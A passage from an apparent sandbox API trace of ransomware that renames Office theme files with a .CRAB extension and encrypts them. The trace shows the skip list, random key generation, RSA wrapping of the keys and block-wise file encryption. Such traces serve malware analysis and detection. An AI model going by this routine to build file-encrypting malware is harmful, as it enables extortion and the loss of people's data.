	[0115.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.734] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.734] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.734] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.734] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0115.734] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2=".") returned 1
	[0115.735] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="..") returned 1
	[0115.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx"
	[0115.735] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0115.735] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134
	[0115.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134
	[0115.735] lstrlenW (lpString=".thmx") returned 5
	[0115.735] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.735] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0115.735] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134
	[0115.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="desktop.ini") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="autorun.inf") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="ntuser.dat") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="iconcache.db") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="bootsect.bak") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="boot.ini") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="ntuser.dat.log") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="thumbs.db") returned 1
	[0115.736] lstrcmpiW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0115.736] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0115.736] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB") returned 139
	[0115.736] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033927[[fn=main event]].thmx")) returned 0x20
	[0115.737] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx", dwFileAttributes=0x20) returned 1
	[0115.737] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033927[[fn=main event]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033927[[fn=main event]].thmx.crab")) returned 1
	[0115.738] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0115.738] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB"
	[0115.738] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB.CRAB"
	[0115.738] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0115.739] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.740] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.740] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0115.740] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0115.740] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.740] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0115.740] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0115.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0115.741] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0115.741] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0115.741] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0115.741] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.741] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0115.742] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0115.742] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0115.742] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda46a0) returned 1
	[0115.742] CryptGetKeyParam (in: hKey=0xda46a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.742] CryptEncrypt (in: hKey=0xda46a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0115.743] GetLastError () returned 0x0
	[0115.743] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0115.743] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0115.743] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4620) returned 1
	[0115.743] CryptGetKeyParam (in: hKey=0xda4620, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0115.743] CryptEncrypt (in: hKey=0xda4620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0115.743] GetLastError () returned 0x0
	[0115.743] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0115.743] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033927[[fn=main event]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0115.744] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0115.744] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0115.744] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.823] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.840] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.877] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.881] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.881] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.883] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.887] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.898] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.964] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0115.977] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.981] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.981] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0115.983] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0115.986] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xc9ecd, lpOverlapped=0x0) returned 1
	[0115.991] VirtualAlloc (lpAddress=0x0, dwSize=0xc9ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0115.999] VirtualAlloc (lpAddress=0x0, dwSize=0xc9ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x3430000
	[0116.009] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.041] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff36133, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.041] WriteFile (in: hFile=0x3fc, lpBuffer=0x3430000*, nNumberOfBytesToWrite=0xc9ed0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3430000*, lpNumberOfBytesWritten=0x3147f1c*=0xc9ed0, lpOverlapped=0x0) returned 1
	[0116.043] VirtualFree (lpAddress=0x3430000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.046] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.051] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.051] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.051] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0116.051] CloseHandle (hObject=0x3fc) returned 1
	[0116.128] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.129] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.129] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.129] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.129] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.130] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.130] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0116.130] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2=".") returned 1
	[0116.130] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="..") returned 1
	[0116.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx"
	[0116.130] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0116.130] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129
	[0116.130] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129
	[0116.130] lstrlenW (lpString=".thmx") returned 5
	[0116.130] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.131] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0116.131] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.131] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129
	[0116.131] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="desktop.ini") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="autorun.inf") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="ntuser.dat") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="iconcache.db") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="bootsect.bak") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="boot.ini") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="ntuser.dat.log") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="thumbs.db") returned 1
	[0116.131] lstrcmpiW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0116.131] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.131] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB") returned 134
	[0116.132] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033929[[fn=slate]].thmx")) returned 0x20
	[0116.132] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx", dwFileAttributes=0x20) returned 1
	[0116.132] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033929[[fn=slate]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033929[[fn=slate]].thmx.crab")) returned 1
	[0116.133] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0116.133] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB"
	[0116.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB.CRAB"
	[0116.133] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0116.134] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.134] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.135] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.135] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0116.135] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0116.135] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.135] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0116.135] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.136] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.136] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0116.136] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0116.136] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.136] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0116.137] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0116.137] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0116.137] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4c20) returned 1
	[0116.137] CryptGetKeyParam (in: hKey=0xda4c20, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.137] CryptEncrypt (in: hKey=0xda4c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0116.138] GetLastError () returned 0x0
	[0116.138] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0116.138] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0116.138] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4520) returned 1
	[0116.138] CryptGetKeyParam (in: hKey=0xda4520, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.138] CryptEncrypt (in: hKey=0xda4520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0116.139] GetLastError () returned 0x0
	[0116.139] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0116.139] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033929[[fn=slate]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0116.139] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0116.140] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
